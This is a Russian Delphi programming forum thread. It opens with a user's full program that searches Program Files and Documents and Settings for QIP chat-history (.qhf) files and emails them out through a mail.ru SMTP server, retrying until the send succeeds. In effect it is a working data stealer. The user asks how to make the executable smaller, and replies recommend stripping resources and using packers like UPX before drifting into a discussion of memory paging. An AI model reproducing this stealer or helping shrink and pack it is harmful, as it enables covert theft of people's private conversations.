Модераторы: Poseidon, Snowy, bems, MetalFan

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Как избавить прогу от лишнего мусора 
:(
    Опции темы
uranpro
Дата 25.3.2009, 18:49 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 571
Регистрация: 7.5.2008
Где: Moscow city

Репутация: нет
Всего: 1



Как избавить прогу от лишнего мусора ? убрать из нее все неиспользуемое

есть такой код:
Код

program uNF;

uses
  SysUtils, classes, Masks,
  IdMessage,
  IdBaseComponent,
  IdComponent,
  IdTCPConnection,
  IdTCPClient,
  IdMessageClient,
  IdSMTP;

var
  SMTP: TIdSMTP;
  MMessage: TIdMessage;
  SL:TStringList;

procedure Scan(s: string);
var
  sr: TSearchRec;
  r: integer;
  OldDir: string;
begin
  {$I-}
  ChDir (s);
  {$I+}
  if IoResult = 0 then begin
    try
      r := FindFirst ('*.*', faAnyFile, sr);
      while r = 0 do begin
        if (sr.Name <> '.') and (sr.Name <> '..') then begin
          // NEXT >>
          if (faDirectory and sr.Attr) = faDirectory then begin
            OldDir := GetCurrentDir;
            Scan (ExpandFileName (sr.Name));
            ChDir (OldDir);
          end else begin
            if MatchesMask (sr.Name, '*.qhf') then
              SL.Add(ExpandFileName(sr.Name));
          end;
        end;
        r := FindNext (sr);
      end;
    finally
      FindClose (sr);
    end;
  end;
end;

procedure Search;
begin
  Scan('C:\Program Files\');
  Scan('C:\Documents and Settings\');
end;

function SendMail:boolean;
var
  i:integer;
begin
  SMTP.Host:='smtp.mail.ru';
  SMTP.Port:=25;
  Smtp.AuthenticationType:=atLogin; // atNone
  Smtp.Username:='[email protected]';
  Smtp.Password:='aaa';
  MMessage.From.Name:='aaa';
  MMessage.Subject:='QHF mail sender!';
  MMessage.From.Address:='aaa';
  MMessage.Recipients.EMailAddresses:='aaa'+',';
  MMessage.Body.Text:='aaa';
  for i:=1 to SL.Count-1 do
    TIdAttachment.Create(MMessage.MessageParts,SL.Strings[i]);
  try
    try
      SMTP.Connect(60000);
      SMTP.Send(MMessage);
      Result:=true;
    except
      Result:=false;
      end;
  finally
    if SMTP.Connected then SMTP.Disconnect;
    end;
end;

begin
  MMessage:=TIdMessage.Create(nil);
  SMTP:=TIdSMTP.Create(nil);
  SL:=TStringList.Create;

  Search;
  if SL.Count>0 then
    while SendMail = false do
      Sleep(30000);

  SL.Free;
  MMessage.Free;
  SMTP.Free;
end.

как уменьшить ее в размере ?
233 472 байт сейчас, ###)


--------------------
I want a perfect soul
PM MAIL ICQ   Вверх
Alexeis
Дата 25.3.2009, 19:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Амеба
Group Icon


Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 109
Всего: 459



собственно ничего лишнего и так нет. Да врядли удастся, поскольку индюки содержат в юзесах ссылки на VCL овские модули. Меньше можно сделать тока на KOL или API.


--------------------
Vit вечная память.

Обсуждение действий администрации форума производятся только в этом форуме

гениальность идеи состоит в том, что ее невозможно придумать
PM ICQ Skype   Вверх
kami
Дата 25.3.2009, 19:14 (ссылка) |    (голосов:2) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1806
Регистрация: 25.8.2007
Где: Санкт-Петербург

Репутация: 23
Всего: 72



Не вижу ничего плохого в этом размере.
Уменьшить? Пожалуйста:
1. Использовать Icarus - Uses List Analyzer for Delphi. C его помощью можно определить неиспользуемые модули. Правда, иногда он ошибается, но это легко узнается при компиляции.
2. Убрать лишние ресурсы любым редактором. В частности - DVCLAL и PACKAGEINFO. Обычно безболезненно удаляются и рисунки для BitBtn (кроме SpeedUp и SpeedDown).
3. Использовать программы типа PECorrector, убирающие "ненужное".
4. UPX, SoftwareCompress и иже с ними, то есть любой упаковщик (внимание - некоторые могут быть глючными).
5. Забить на это. 233 килобайта - это не много. Одна из последних моих разработок, например, весит 3 метра (парочка включенных в ресурсы скинов неплохо увеличила размер) - и что? Давно прошли те времена, когда программа должна была умещаться на 1.44 дискету smile

И вообще - see DRKB и все остальные FAQ - это один из первых вопросов, освещаемых в них smile
PM MAIL WWW   Вверх
THandle
Дата 25.3.2009, 19:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Хранитель Клуба
Group Icon
Награды: 1



Профиль
Группа: Админ
Сообщений: 3639
Регистрация: 31.7.2007
Где: Moscow, Dubai

Репутация: 65
Всего: 372



Цитата(uranpro @  25.3.2009,  18:49 Найти цитируемый пост)
begin
  MMessage:=TIdMessage.Create(nil);
  SMTP:=TIdSMTP.Create(nil);
  SL:=TStringList.Create;
  Search;
  if SL.Count>0 then
    while SendMail = false do
      Sleep(30000);
  SL.Free;
  MMessage.Free;
  SMTP.Free;
end.


Ой как нехорошо... Где try..finally..end для каждого?
PM   Вверх
Alexeis
Дата 25.3.2009, 22:54 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Амеба
Group Icon


Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 109
Всего: 459



Цитата(kami @  25.3.2009,  18:14 Найти цитируемый пост)
Одна из последних моих разработок, например, весит 3 метра (парочка включенных в ресурсы скинов неплохо увеличила размер) - и что?

  Я вам более скажу, ресурсы не грузятся в память пока не нужны, потому экзешник может быть и 50 Мб без проблем, если из них 48 будут ресурсы то все будет быстро работать.


--------------------
Vit вечная память.

Обсуждение действий администрации форума производятся только в этом форуме

гениальность идеи состоит в том, что ее невозможно придумать
PM ICQ Skype   Вверх
bems
Дата 25.3.2009, 23:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: 31
Всего: 88



Цитата(Alexeis @  25.3.2009,  22:54 Найти цитируемый пост)
Я вам более скажу, ресурсы не грузятся в память пока не нужны, потому экзешник может быть и 50 Мб без проблем, если из них 48 будут ресурсы то все будет быстро работать. 
есть противоположное мнение, что ресурсы гразятся сразу и на все время, вместе со всем остальным. Можешь подтвердить твое утверждение?



--------------------
Обижено школьников: 8
PM MAIL   Вверх
Alexeis
Дата 25.3.2009, 23:07 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Амеба
Group Icon


Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 109
Всего: 459



Цитата(bems @  25.3.2009,  22:03 Найти цитируемый пост)
есть противоположное мнение, что ресурсы гразятся сразу и на все время, вместе со всем остальным. Можешь подтвердить твое утверждение?

  тока при использовании упаковщиков, иначе они отображаются в память, а значит кэшируются только по необходимости. Да возьми и сам проверь. smile .


--------------------
Vit вечная память.

Обсуждение действий администрации форума производятся только в этом форуме

гениальность идеи состоит в том, что ее невозможно придумать
PM ICQ Skype   Вверх
bems
Дата 25.3.2009, 23:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: 31
Всего: 88



ну я думал "отображаются" и значит "загружаеются". Да недопонимание вышло. Ну если говорить про то что реально находится в памяти, а не сбрасывается на диск, то давай скажем что весь большое экзешник (а не только ресурсы) не грузится в память одновременно, когда ее мало. Формально будет правильно


--------------------
Обижено школьников: 8
PM MAIL   Вверх
Alexeis
Дата 25.3.2009, 23:11 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Амеба
Group Icon


Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 109
Всего: 459



bems, откуда точно не скажу, но впользу этого есть много веских доводов.

Добавлено через 2 минуты и 10 секунд
Ресурсы это память ридонли как и секция кода, потому она свопится самим экзешником без помещения в файл подкачки, т.е. фактически не грузиться совсем.


--------------------
Vit вечная память.

Обсуждение действий администрации форума производятся только в этом форуме

гениальность идеи состоит в том, что ее невозможно придумать
PM ICQ Skype   Вверх
kami
Дата 26.3.2009, 00:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1806
Регистрация: 25.8.2007
Где: Санкт-Петербург

Репутация: 23
Всего: 72



Цитата(bems @  25.3.2009,  23:10 Найти цитируемый пост)
что реально находится в памяти, а не сбрасывается на диск,

Это решает ОС, а не программа. И что конкретно из экзешника и подгружаемых модулей/библиотек действительно находится в памяти в текущий момент времени - программе неизвестно.


Цитата(Alexeis @  25.3.2009,  23:11 Найти цитируемый пост)
Ресурсы это память ридонли как и секция кода,

Ну, с ресурсами не знаю, а вот секция кода в своей программе (в run-time) модифицируется (т.е. читается/перезаписывается) легко. (имеется ввиду модификация кода не в exe файле, а непосредственно в исполняемом процессе).
PM MAIL WWW   Вверх
Alexeis
Дата 26.3.2009, 00:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Амеба
Group Icon


Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 109
Всего: 459



Цитата(kami @  25.3.2009,  23:13 Найти цитируемый пост)
а вот секция кода в своей программе (в run-time) модифицируется (т.е. читается/перезаписывается) легко.

  С каких это пор? На секции кода стоит блокировка ридонли, при попытке туда записать возникает AV. Если снимать блокировку, то сам виноват, ОС будет вынуждена сбрасывать такой код в своп файл.

  Главное что ресурсы напрасно не загружают ОЗУ, потому их можно смело использовать и не стесняться увеличения размера экзешника за счет ресурсов или неиспользуемого кода, это относиться и к другой константной памяти.


--------------------
Vit вечная память.

Обсуждение действий администрации форума производятся только в этом форуме

гениальность идеи состоит в том, что ее невозможно придумать
PM ICQ Skype   Вверх
kami
Дата 26.3.2009, 00:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1806
Регистрация: 25.8.2007
Где: Санкт-Петербург

Репутация: 23
Всего: 72



Цитата(Alexeis @  26.3.2009,  00:27 Найти цитируемый пост)
Если снимать блокировку, то сам виноват

Выходит, функцию VirtualProtect придумали зря? smile


Цитата(Alexeis @  26.3.2009,  00:27 Найти цитируемый пост)
ОС будет вынуждена сбрасывать такой код в своп файл

Ткните носом в MSDN, где это написано.

Цитата(Alexeis @  26.3.2009,  00:27 Найти цитируемый пост)
Главное что ресурсы напрасно не загружают ОЗУ, потому их можно смело использовать и не стесняться увеличения размера экзешника за счет ресурсов или неиспользуемого кода, это относиться и к другой константной памяти.

Согласен.
PM MAIL WWW   Вверх
bems
Дата 26.3.2009, 06:10 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: 31
Всего: 88



Цитата(kami @  26.3.2009,  00:43 Найти цитируемый пост)
Ткните носом в MSDN, где это написано.
Ну если не в своп то два варианта: или в оригинальный файл, или просто пометить как свободную. Первое это изменение программой своего файла (что без особых ухищрений не бывает), второе - потеря куска данных во время работы. Ни того ни другого не происходит.

Добавлено через 1 минуту и 45 секунд
Еще забыл третий вариант - запретить выгружать из оперативы -  для юзермодного приложения много чести


--------------------
Обижено школьников: 8
PM MAIL   Вверх
Alexeis
Дата 26.3.2009, 10:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Амеба
Group Icon


Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 109
Всего: 459



bems, угу именно из этих же соображений.


--------------------
Vit вечная память.

Обсуждение действий администрации форума производятся только в этом форуме

гениальность идеи состоит в том, что ее невозможно придумать
PM ICQ Skype   Вверх
bems
Дата 26.3.2009, 10:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: 31
Всего: 88



Alexeis, ну ты показал что ресурсы экономичны к оперативе. Но само виртуальное АП то же ведь не резиновое. И в этом смысле ресурсы загружены всегда


--------------------
Обижено школьников: 8
PM MAIL   Вверх
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Общие вопросы"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0713 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.